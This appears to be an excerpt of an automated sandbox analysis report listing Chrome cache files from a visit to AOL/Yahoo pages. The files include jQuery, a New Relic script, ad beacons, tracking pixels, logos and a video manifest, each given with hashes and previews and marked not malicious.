SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 588

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.582261324149933
Encrypted:	false
SSDEEP:	6:6v/lhPfB2pl6hFba6GjDslnsY81ltgpPfeB94cA69iqnC3laV5r1Ufdp:6v/7Y4rbMjDJvtgP2BycliZ3Yl14
MD5:	2C615C5BE29F203978F6690679A659C2
SHA1:	1843CC44108E0C26F2645458863971A825A1AE1B
SHA-256:	A3E250B97BE62F83EE0E78F6BD849BBF341B470DFAF206DED2B58EEC82D560A0
SHA-512:	1FB33EA79A2B2CF97B80E3F7550238D69B17FCE7D743573CD44A83E44A70660C41A4074CF43F3658973FAB1E061DA59A38739861A1B352CAE9A036007BA4DCF7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...KPLTEGpL.X..W.T...Y..X..X..b..\..Y.].........e..u...........k..X..........?.............tRNS........1.;./....vIDAT..e......D7E..%.._Z;...:..,.#m.R.hz5O.j.q.D....7kG.?........d..!..!.@....b.b.JU.....[v.`.M}.h..f..c[0.j....r..o....}.A.....IEND.B`.

Chrome Cache Entry: 589

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=adobe&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=Zk-ElAAAAUphKgAT
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 590

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26895), with no line terminators
Category:	downloaded
Size (bytes):	26895
Entropy (8bit):	5.30832063472068
Encrypted:	false
SSDEEP:	384:ydepTjJ4n/kMLdf2HA7r3sUKkQXyylZoixK+2EmiwbikIcYH8vdzo8ClHXiCptlm:ydAb1kAUKkSllf8lzodXtuTK2
MD5:	8155781AB74E51EEE2EAD2C1D5902E63
SHA1:	5679A128CE2702F782C9F3F46D16D95C387B52EE
SHA-256:	F4AE8A2C83E0A851FD331BBF34D7A6F9184B3E31B6F2E681E8377FB8A8EDC10F
SHA-512:	BDE3D3A037944032E9822E1F538F958A63582B1E6850BCA2B17BF2E8075FADCDAE6056983327D56B98C6B5684CDB3D49DD82CD8046804C2BB7D28E52C22DCB24
Malicious:	false
Reputation:	low
URL:	https://js-agent.newrelic.com/nr-1167.min.js
Preview:	!function(n,e,t){function r(t,i){if(!e[t]){if(!n[t]){var a="function"==typeof __nr_require&&__nr_require;if(!i&&a)return a(t,!0);if(o)return o(t,!0);throw new Error("Cannot find module '"+t+"'")}var s=e[t]={exports:{}};n[t][0].call(s.exports,function(e){var o=n[t][1][e];return r(o\|\|e)},s,s.exports)}return e[t].exports}for(var o="function"==typeof __nr_require&&__nr_require,i=0;i<t.length;i++)r(t[i]);return r}({1:[function(n,e,t){e.exports=function(n,e){return"addEventListener"in window?window.addEventListener(n,e,!1):"attachEvent"in window?window.attachEvent("on"+n,e):void 0}},{}],2:[function(n,e,t){function r(n,e,t,r,i){l[n]\|\|(l[n]={});var a=l[n][e];return a\|\|(a=l[n][e]={params:t\|\|{}},i&&(a.custom=i)),a.metrics=o(r,a.metrics),a}function o(n,e){return e\|\|(e={count:0}),e.count+=1,f(n,function(n,t){e[n]=i(t,e[n])}),e}function i(n,e){return e?(e&&!e.c&&(e={t:e.t,min:e.t,max:e.t,sos:e.te.t,c:1}),e.c+=1,e.t+=n,e.sos+=nn,n>e.max&&(e.max=n),n<e.min&&(e.min=n),e):{t:n}}function a(n,e){return

Chrome Cache Entry: 591

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 592

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsumX3FChUi_fXHVlBojiiQElsvK-jQ9c4R5rcMgWWm05f0FkN6Yiv0T1aHrzRZTzZw6FPz9ZzqHsg6IE9E9553UdvFgxjXH4j04K2yo7HNfPvlRj1dKk9GobwutkaQPXdv7CrRGYcQ1kjvQ1y3pJcicuB3NDJ8Fx4SOn0VXaA&sig=Cg0ArKJSzDKO07L8QhfMEAE&id=lidartos&mcvt=2071&p=120,855,374,1155&mtos=0,2071,2071,2071,2071&tos=0,4737,0,0,0&v=20240522&bin=7&avms=nio&bs=0,0&mc=0.98&if=1&vu=1&app=0&itpl=19&adk=3976696149&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&vs=4&r=b&co=1243651401&rst=1716503706242&rpt=9759&isd=0&lsd=0&ec=1&met=mue&wmsd=0&pbe=0&fle=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=14"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 593

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47
Entropy (8bit):	3.9854695758934997
Encrypted:	false
SSDEEP:	3:YBE5XzgLWAh6fWHfH1JUJ/Y:YgXx+f1C/Y
MD5:	C52C347D277859E0E335094399034FAF
SHA1:	05A79D746229CBC8513F90564E5C675093C14911
SHA-256:	B8723ABC057BCC6794F7A77ACFA5E2C0B70562862683DC397BA5395F76932403
SHA-512:	CB7EE8F026C706BB4330C4F74773B2CAE228324E0C4913D08B476B5EEF489153685D40D1E23A27E64ED13782912C3D38C3A6534AA57A7CED290EA30BD9D74ED4
Malicious:	false
Reputation:	low
Preview:	{"data":{"response":{"articles":[]}},"html":""}

Chrome Cache Entry: 594

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.785701501208653
Encrypted:	false
SSDEEP:	3:YEOBHQqBuXlg6ISeV+36:YEOBpu1/ISeV+36
MD5:	18A252E4860D6FF9D755FC7F83920AAE
SHA1:	663BA8E984AF3F086529E784BCE13AD73D6D26F5
SHA-256:	6DAB2178617D8B022987F81E0F8BBEC2482F3730998D037AB01E7A65025338EE
SHA-512:	24B250A002746835AF32E96C045159B3343D0B04ABFC5070C6921D94A51C6FFFEAFD45787540C12E70949505475FD02C57A3735971A32ACD6EA74CE7986617F1
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A"}

Chrome Cache Entry: 595

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1890
Entropy (8bit):	6.5887583722303
Encrypted:	false
SSDEEP:	48:UWYh1i4W1to+lGi6cQSDl0cqxWVFZgJ0nB5oTKR5K4F:dYh1ao+lOgkWOdT0Ao
MD5:	2D9A8BA46E16FD58C70BA88FB8D86218
SHA1:	4DD662A856CC92CAB1498D7BE9F481857AABA9D5
SHA-256:	741CDC5F53ADA173D227F855AE5F5FDD1E698D406ABDD954125464FC4FAD74A4
SHA-512:	C9AA10B3AAD5A366E9804EFD963AFFEC117C078606A5ACC43E54041D8FC81FC36C93080D6A22A71CA3FCDC14B1CA5144695A9BB0F8878DBD2E41D4F75E575635
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkDiXli.D_WDnpsc8QwxvBg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190409%2F500x500%2Fgiants_s.png&client=76f99bdb8f78cd44cc0b&signature=a5db9adb92297dcb97c8f99b467d5c3f3f79992b
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL................................................................................................................................................................................w............................................................................................................................................w..w........w..w...........w..............w......................................................................Y..n!.a..r(.e.........t.......`.....c...z..B.l......M.[..g..]..j.....x/..h.h......E..f..W.~:..K...e.....Y...b..H.z3........>..q.......}..l........P.................f..........^.....z4.....y....o..S.k............i.._.\|7.....n..\........s.................._..s)......b...............................p#.....Z.m!.s(..w..........q'..3j....tRNS..f.....F....s.............................`oD."...@ 5_....+...=~%.y..U<....{..(JM..ah...j......m8^?.T\|wS..0.7..)B.P63.\Y.Xr........].f2G.....IDATH.c`..H.Y..#.\|..n.9.th

Chrome Cache Entry: 596

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 597

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=conversant&uid=AQAJQIhKxl4VhwIcuJI8AQEBAQEBAQCOppb-7wEBAI6mlv7v&expiration=1716590107&gpp_sid=-1&gpp=DBAA&is_secure=true&gdpr_consent=&gdpr=0
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 598

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1897
Entropy (8bit):	7.598064592915727
Encrypted:	false
SSDEEP:	48:73S8LXSd33Oi+yllDrcbpwStx50M4mNy9Bj:DSwXiHIyld4Vwox+J
MD5:	7E2AA38B0EF33DE2D3305680F77B2C37
SHA1:	4A1BBCC0E7B4D3763FF02DBB3EC6B06B91729FDE
SHA-256:	44ABBB607813E6D90AF03E0B3875D8A8B0BFD83423D79027133822CCE0546760
SHA-512:	7B74CA21BF4984EA4F34BDCBE5B8DC122C7385FEF82D5FA5AAB97CCCF5343A6DBF5E9F829D285DBCA4D0A65EBD410DE57555CB6C7A1001770CDEA9BADF62E709
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FRJqdsmvPI2DpLTYPUshLNg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fangels_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6d0bf376e1ce270abc491aed69fa3726a3f97fad
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL........................................................................................................................................[.................[..[..[..............[..[.........................[..[.........................[.I...............&3.2c..!..%.......0\Su...!.$2f.?..")S{[\|..3dP+F.1b.9h.5e.=k..-.$3..(>d.....Bo.....^.CpYC../..&../. 0.....#.2a./X....+..%i...,[...Il....f..;b.Ch.t....._~.Gk..:ip.....{'6..)..#e)?...>,L."1.$2m.<..0.....R&.U..'.Ju..%.&5.'5Im._)A{.....M+G1Z....C K...y.8.1^ X...-V}&Pz.0`...E,J...l(<...&4.....)..-..)...0[5#P...6-O.&3u(9.0_b.@..2.%RK.H...U.E..5('U.....Oq....U)E....HsH+I.>l.7g...Or......3?[z.x.....k(=="Ms.:..'~.6........#N.G.&Fz....Y.DxN`.1`..+...@LWx.TEo(;..-..Z..,o..NB_]>X!Mw...8_.....}..n.Z$C.Er..$....UtRNS..p..\|....0g..=[O.....r..7.:"R.d..]..&..a..IaFlB...%............w3.......ZW'+....`......IDAT.....P......-......k..?iI.!..ww....Rw...sw...]vcw.x..p.3..&.v..'L....'....j.p..Xt..

Chrome Cache Entry: 599

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65476)
Category:	downloaded
Size (bytes):	67843
Entropy (8bit):	5.120559435852785
Encrypted:	false
SSDEEP:	768:DRxeN3x20EGw0eNcxkNNOCWtN7xui5xBtN7xpHfBtN7xp739CIcv:e/EcwNqptrm
MD5:	2B4FF7C6E37D4DCC8049969E7399A259
SHA1:	C5606C1821C1B14CC8527736D80BFC46FF86FB0F
SHA-256:	8D498C051D1BC3F4C98456D8209CAA390B2F693073BC5E180F4BC93FEDB3FBA1
SHA-512:	E08B9FF19F9E339F9FD06BC08427C7DFA33B08E879846CECDC160E9F98762BDE012F427E46F92CC569BCF934C1B0014A9591C18893AC046F1A469672256C3CA1
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/dl.2b4ff7c6e37d4dcc.js
Preview:	/! For license information please see dl.js.LICENSE.txt /.!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var t={5497:function(t){t.exports={dispatchCustomEvent:function(t,e){var r=document.createEvent("CustomEvent");r.initCustomEvent(t,!1,!1,e),document.dispatchEvent(r)}}}},e={};function r(n){var o=e[n];if(void 0!==o)return o.exports;var i=e[n]={exports:{}};return t[n](i,i.exports,r),i.exports}r.d=function(t,e){for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var n={};return function(){"use strict";r.r(n)

Chrome Cache Entry: 600

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4627)
Category:	downloaded
Size (bytes):	4628
Entropy (8bit):	5.208752554575453
Encrypted:	false
SSDEEP:	96:BImIY2oDo1cGmwekI55l+2XGFRtm3Payw:BImf7fw3I55lBWU3Payw
MD5:	857D1A718F7AEB43B03B79B7CF3CB0DA
SHA1:	28D87C8738D868A13F6067BF20EA136AE028C4DB
SHA-256:	64274E15AAABEFDE05A780997FF204A5E45A6B540F0E8A0404C6E7EC20305D99
SHA-512:	C9341D0B2DEEE917D36FB393F5F1B28AA99EA829B962203467418329FAF5873F0039FC69E312E8E619DD017F7999CAA85829591DAD9A7C74C4AD3681D3E18183
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/pv/perf-vitals_2.1.1.js
Preview:	!function(){"use strict";var e=function(e,t){return{name:e,value:void 0===t?-1:t,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},t=function(e,t){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){if("first-input"===e&&!("PerformanceEventTiming"in self))return;var n=new PerformanceObserver((function(e){return e.getEntries().map(t)}));return n.observe({type:e,buffered:!0}),n}}catch(e){}},n=function(e,t){var n=function n(i){"pagehide"!==i.type&&"hidden"!==document.visibilityState\|\|(e(i),t&&(removeEventListener("visibilitychange",n,!0),removeEventListener("pagehide",n,!0)))};addEventListener("visibilitychange",n,!0),addEventListener("pagehide",n,!0)},i=function(e){addEventListener("pageshow",(function(t){t.persisted&&e(t)}),!0)},a=function(e,t,n){var i;return function(a){t.value>=0&&(a\|\|n)&&(t.delta=t.value-(i\|\|0),(t.delta\|\|void 0===i)&&(i=t.value,e(t)))}},r=-1,o=function(){n((function(e){var t=e.timeStamp;r=t}),!0)},s=func

Chrome Cache Entry: 601

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:YHAXW2Vn:YglVn
MD5:	97EFE0B7EE61E154D57E80758BB797D8
SHA1:	810B4E115FE9F5AE697666FEBF2A9ABF0B21C9EC
SHA-256:	EFABBA3678B85FCAB831B778EA2DDAAD1E2A1E952584D3566BC39B7CCB3429D9
SHA-512:	AA02209CF80FC2564CE0DB0BF9F30241E92EA33101B55FFE5E26D617F90B74277AE68D714A7B00C792EF2B88B582E3F299213A5C3C9BF9AFE6C6C1800FC276AF
Malicious:	false
Reputation:	low
URL:	https://rp.liadm.com/j?se=e30&cd=.aol.com&dtstmp=1716503691207&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.aol.com%2F&gpp_as=-1&us_privacy=1YNN&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&gdpr=0&n3pc=true&gpp_s=DBAA
Preview:	{"bakers":[]}

Chrome Cache Entry: 602

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2199
Entropy (8bit):	7.703167065334299
Encrypted:	false
SSDEEP:	48:g16VMkbIyPMnFr5fCGgjebI0MyitZX8F6/v1TMifG05Pki+JekL:gcSXyEnffCnjr0Vins4lTdfGEsTz
MD5:	718DF2B367ED1209D7FB7CEAB098E132
SHA1:	E8776136EB1FF8E230ABAE83580D8DD60403706B
SHA-256:	7D03E0B77FF5960964AED88232BB052457DC11CADBBFB1FD9B77E1F85618DA43
SHA-512:	B68101A42392E0D9D92A5A03CAB0E3DA264EE09F1D1EAE0ADE2550732E66559B411C78BC16B351B20A757AE4AA55277A120CAAAEB7F990CB65594B6D19B2EAFF
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FEymZRBHvGs3_SkFA6laCUw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fmarlins_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=a962b344615cb6a98b4175735f4a69db77f28b25
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...............................................................................................................................................................................................................................y......(.Qn.......1C....l..+:.e........<Q..#.Lg.s.\|...e..)7....$1...(.........Tr\......D\.a.........i...7K...>..... 7B6...LX......^{..p..G`,M]3Yk.@W.(0....Wu.[\|+...0:...tp..g.%CSS.....Ph...+GU.....?l...........dn.!,.].....\|.>...b.......H..#>KB......GX.Zz"..s......I_M......FT.XcBs./..2...a.... '...........o.........")G..I...Zw.m.,...~........=J.g.^..Vq?..,s.....Ka2Sc.G[.1<...fv..mw....^{.Xj.t}.........B................Je[,5................;Sd.IY{..f#+.FZ.....N.....v.P......p.u.%q../..3t..'0.'/:..Z{.s.....Bctw..F.......GtRNS.. ~+.....R^.....>...4.-8.X..g..N.I..%v..C..p..(.......b..........J........IDATH.c`..H.....5...4.l.=.f.$i......N....@.oUQR.h..V..........fTQ^...Z...LX.......Q+.V..z8uH........I.r..q

Chrome Cache Entry: 603

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	downloaded
Size (bytes):	6637
Entropy (8bit):	5.217294992893673
Encrypted:	false
SSDEEP:	96:OftOCAm2tMmsMmTMmyMmpMmYMmPMmOMmVMmUMm6MAbMX:wdAmTWZ836tQ7u2pX
MD5:	1BC9E9687D93032B06FF67A27CFCD437
SHA1:	59F8C11101C9C3961A704DBF42AD25EF685E9D28
SHA-256:	827A349D455A1074E8DEEE5F1CDA3163CB82D39EE80C9482FF7211F9F8A751AE
SHA-512:	6F7ADB978CD42530DA8B25F17C2873C955C8BD7BE2178C914A42CFBD3FD5D222E5BB448CF99B539F14DCC990FEFC5EA1BD1304DE889B9AEC6A1ED6AC7AD267E4
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMTc1NzY4OWQ2ZWJiNGQzMzVhNzEzNzZjNDcyNjZhZGU1MWFiYjdkZDRkMGVmYjdlMTk0MzJmNmFjYTM3YWI0Ng%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDZfNDU5OWI4ZTU0ZmZiZmJlZGY3MWE5NjcxYzU2NWZhYzkyNDczOTIyMzE4MjYxOGRlZWJkMDcyMzBkMmNmNTBlMA%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 604

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	5778
Entropy (8bit):	4.0305539921544815
Encrypted:	false
SSDEEP:	96:avfqh2eGTBoaX4wBPFU2e419aj28g8iHNkR+uX2a5hJcNP2c6DzKV3t6Ueu5DErI:yqh14BohwBPg419AMHaYufJckc6qV3QK
MD5:	0F121237872CCB64CF52B3C4A2405745
SHA1:	0675A14DB97BDC8287FE23ECC67505FAAFAB402A
SHA-256:	DEBF3438D86E63280DDBE393891CE01DE87157C80DE51F3766B462A792CCFE44
SHA-512:	3E7C529D9171556943BC29FE7DCDAD4F18D8544D5B1D04C923DE99F1CAA02991CABBF99404335DAD72F4E6A4D7E9BD96C909D2B8C9F7676BCB66EA11AB05C478
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/images/weather/large/AccuWeather_2.svg
